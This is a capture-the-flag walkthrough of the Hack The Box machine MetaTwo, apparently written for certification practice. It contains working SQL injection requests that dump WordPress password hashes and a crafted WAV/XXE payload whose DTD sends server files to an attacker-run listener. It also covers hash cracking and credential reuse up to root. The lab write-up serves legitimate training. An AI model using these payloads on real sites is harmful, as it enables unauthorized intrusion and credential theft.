Skip to content

Overview

Platform: Hack The Box
Machine: MetaTwo
Purpose: CJCA Preparation
Target: 10.129.228.95

The target IP may change after restarting the machine. Replace it where needed.


1. Reconnaissance

Set the target IP and confirm connectivity:

export IP=10.129.228.95
ping -c4 $IP

Run a full TCP scan:

sudo nmap -p- --min-rate 1000 -T4 $IP -Pn -oN metatwo_allports.txt

Open ports:

21/tcp  FTP
22/tcp  SSH
80/tcp  HTTP

Enumerate the discovered services:

sudo nmap -sC -sV -p21,22,80 $IP -Pn -oN metatwo_services.txt

Key results:

21/tcp open  ftp
22/tcp open  ssh   OpenSSH 8.4p1 Debian
80/tcp open  http  nginx 1.18.0

The web server redirected to metapress.htb. Add the hostnames locally:

echo "$IP metapress.htb ftp.metapress.htb" | sudo tee -a /etc/hosts

Fingerprint the application:

whatweb http://metapress.htb
wpscan --url http://metapress.htb --enumerate u,vp --plugins-detection passive

Important findings:

WordPress 5.6.2
PHP 8.0.24
Users: admin, manager

2. BookingPress SQL Injection

The /events/ page referenced the BookingPress plugin:

curl -s http://metapress.htb/events/ -o events.html
grep -i "wp-content/plugins" events.html
curl -s http://metapress.htb/wp-content/plugins/bookingpress-appointment-booking/readme.txt | grep -i "Stable tag"

Installed version:

BookingPress Appointment Booking 1.0.10

This version is vulnerable to CVE-2022-0739, an unauthenticated SQL injection in the following AJAX action:

bookingpress_front_get_category_services

Extract a current nonce from the events page:

NONCE=$(grep -oP "_wpnonce:'\K[^']+" events.html | head -1)
echo "$NONCE"

Confirm the normal AJAX request:

curl -s -X POST http://metapress.htb/wp-admin/admin-ajax.php \
  -d "action=bookingpress_front_get_category_services" \
  -d "category_id=1" \
  -d "total_service=1" \
  -d "_wpnonce=$NONCE"

Confirm SQL injection and determine the UNION structure:

curl -s -X POST http://metapress.htb/wp-admin/admin-ajax.php \
  -d "action=bookingpress_front_get_category_services" \
  -d "category_id=1" \
  -d "_wpnonce=$NONCE" \
  --data-urlencode "total_service=1) UNION ALL SELECT @@VERSION,2,3,4,5,6,7,count(*),9 FROM wp_users-- -"

The response confirmed:

MariaDB 10.5.15
9 UNION columns
2 WordPress users

Dump the WordPress usernames, emails, and password hashes:

curl -s -X POST http://metapress.htb/wp-admin/admin-ajax.php \
  -d "action=bookingpress_front_get_category_services" \
  -d "category_id=1" \
  -d "_wpnonce=$NONCE" \
  --data-urlencode "total_service=1) UNION ALL SELECT user_login,user_email,user_pass,NULL,NULL,NULL,NULL,NULL,NULL FROM wp_users-- -"

Recovered accounts:

admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70

Save and crack the hashes:

cat > wp_hashes_named.txt <<'HASHES'
admin:$P$BGrGrgf2wToBS79i07Rk9sN4Fzk.TV.
manager:$P$B4aNM28N0E.tMy/JIcnVMZbGcU16Q70
HASHES

sudo john --wordlist=/usr/share/wordlists/rockyou.txt --format=phpass wp_hashes_named.txt
sudo john --show --format=phpass wp_hashes_named.txt

Recovered WordPress credentials:

manager:partylikearockstar

Log in at:

http://metapress.htb/wp-login.php

3. Authenticated XXE Through WAV Metadata

The manager account could upload WAV files through Media → Add New. WordPress 5.6.2 is vulnerable to CVE-2021-29447, allowing XXE through malicious WAV metadata.

Identify the HTB VPN address:

ip -br addr show tun0

For this session:

10.10.15.32

Set it locally:

export LHOST=10.10.15.32
mkdir -p ~/metatwo-xxe
cd ~/metatwo-xxe

Create an external DTD that reads /etc/passwd and sends it back as compressed Base64 data:

cat > evil.dtd <<EOF
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY &#x25; send SYSTEM 'http://$LHOST:8000/?data=%file;'>">
%init;
%send;
EOF

Create a valid WAV file containing an iXML chunk that loads the DTD:

python3 - <<EOF
import struct

lhost = "$LHOST"

def chunk(chunk_id, data):
    padding = b"\x00" if len(data) % 2 else b""
    return chunk_id + struct.pack("<I", len(data)) + data + padding

xml = f'''<?xml version="1.0"?>
<!DOCTYPE ANY [
<!ENTITY % remote SYSTEM "http://{lhost}:8000/evil.dtd">
%remote;
]>
<ANY/>
'''.encode()

fmt = struct.pack("<HHIIHH", 1, 1, 8000, 16000, 2, 16)
wave_data = b"WAVE" + chunk(b"fmt ", fmt) + chunk(b"iXML", xml) + chunk(b"data", b"\x00\x00" * 8000)

with open("xxe.wav", "wb") as f:
    f.write(b"RIFF" + struct.pack("<I", len(wave_data)) + wave_data)
EOF

Start the callback server:

python3 -m http.server 8000

Upload xxe.wav through the WordPress Media Library. A successful callback looks like:

GET /evil.dtd HTTP/1.1
GET /?data=<encoded-data> HTTP/1.1

Decode the returned value:

echo '<encoded-data>' | python3 -c 'import sys,base64,zlib; print(zlib.decompress(base64.b64decode(sys.stdin.read().strip()),-15).decode())'

The /etc/passwd output revealed an interactive local user:

jnelson:x:1000:1000:jnelson,,,:/home/jnelson:/bin/bash

Change the DTD to read the WordPress configuration file:

cat > evil.dtd <<EOF
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/metapress.htb/blog/wp-config.php">
<!ENTITY % init "<!ENTITY &#x25; send SYSTEM 'http://$LHOST:8000/?data=%file;'>">
%init;
%send;
EOF

Upload xxe.wav again and decode the new callback.

Recovered database credentials:

Database: blog
Username: blog
Password: 635Aq@TdqrCwXFUZ
Host: localhost

Recovered FTP credentials:

Host: ftp.metapress.htb
Username: metapress.htb
Password: 9NYS_ii@FyL_p5M2NvJ
Base directory: blog/

4. FTP Enumeration and SSH Foothold

Connect to FTP:

ftp ftp.metapress.htb

Credentials:

metapress.htb
9NYS_ii@FyL_p5M2NvJ

Enumerate the FTP root:

ls -la

Directories:

blog/
mailer/

Inspect the mailer application and download its PHP script:

cd mailer
ls -la
get send_email.php
bye

Review the file locally:

cat send_email.php

Hardcoded SMTP credentials:

Username: jnelson@metapress.htb
Password: Cb4_JmWM8zUZWMu@Ys

The password was reused for the local jnelson account:

ssh jnelson@$IP

Credentials:

jnelson
Cb4_JmWM8zUZWMu@Ys

Confirm the shell and check sudo access:

id
sudo -l

jnelson had no sudo permissions.

Retrieve the user flag and inspect the home directory:

cd /home/jnelson
cat user.txt
ls -la

User flag:

dd3a0b2e714c86ce5f685429405c0a7c

A hidden Passpie credential store was present:

.passpie/

5. Passpie Privilege Escalation

Enumerate the Passpie files:

find ~/.passpie -maxdepth 3 -type f -printf '%M %u %g %p\n'

Important files:

~/.passpie/.keys
~/.passpie/ssh/root.pass
~/.passpie/ssh/jnelson.pass

The .keys file contained an encrypted PGP private key. Copy it to the attack machine:

scp jnelson@$IP:/home/jnelson/.passpie/.keys passpie.keys

Because the file contains both public and private key blocks, isolate the private key:

sed -n '/-----BEGIN PGP PRIVATE KEY BLOCK-----/,/-----END PGP PRIVATE KEY BLOCK-----/p' \
  passpie.keys > passpie_private.key

Convert it to a John-compatible hash:

gpg2john passpie_private.key > passpie.hash

If rockyou.txt is compressed, extract it first:

sudo gunzip -k /usr/share/wordlists/rockyou.txt.gz

Crack the PGP key passphrase:

john --wordlist=/usr/share/wordlists/rockyou.txt passpie.hash
john --show passpie.hash

Recovered Passpie passphrase:

blink182

Back on the target, export the stored credentials:

passpie export /tmp/passpie.txt
cat /tmp/passpie.txt

Enter blink182 when prompted.

Recovered root password:

root:p7qfAZt4_A1xo_0x

Switch to root and retrieve the final flag:

su - root
cat /root/root.txt

Root flag:

48eee2869205437a7ad4b93e31a8df42

Attack Path Summary

  1. Enumerated FTP, SSH, and HTTP.

  2. Identified WordPress 5.6.2 and BookingPress 1.0.10.

  3. Exploited CVE-2022-0739 to dump WordPress password hashes.

  4. Cracked the manager password and authenticated to WordPress.

  5. Exploited CVE-2021-29447 through a malicious WAV upload.

  6. Read wp-config.php and recovered FTP credentials.

  7. Found hardcoded jnelson credentials in send_email.php.

  8. Reused the password for SSH access.

  9. Cracked the Passpie PGP key passphrase.

  10. Exported the vault, recovered the root password, and obtained root access.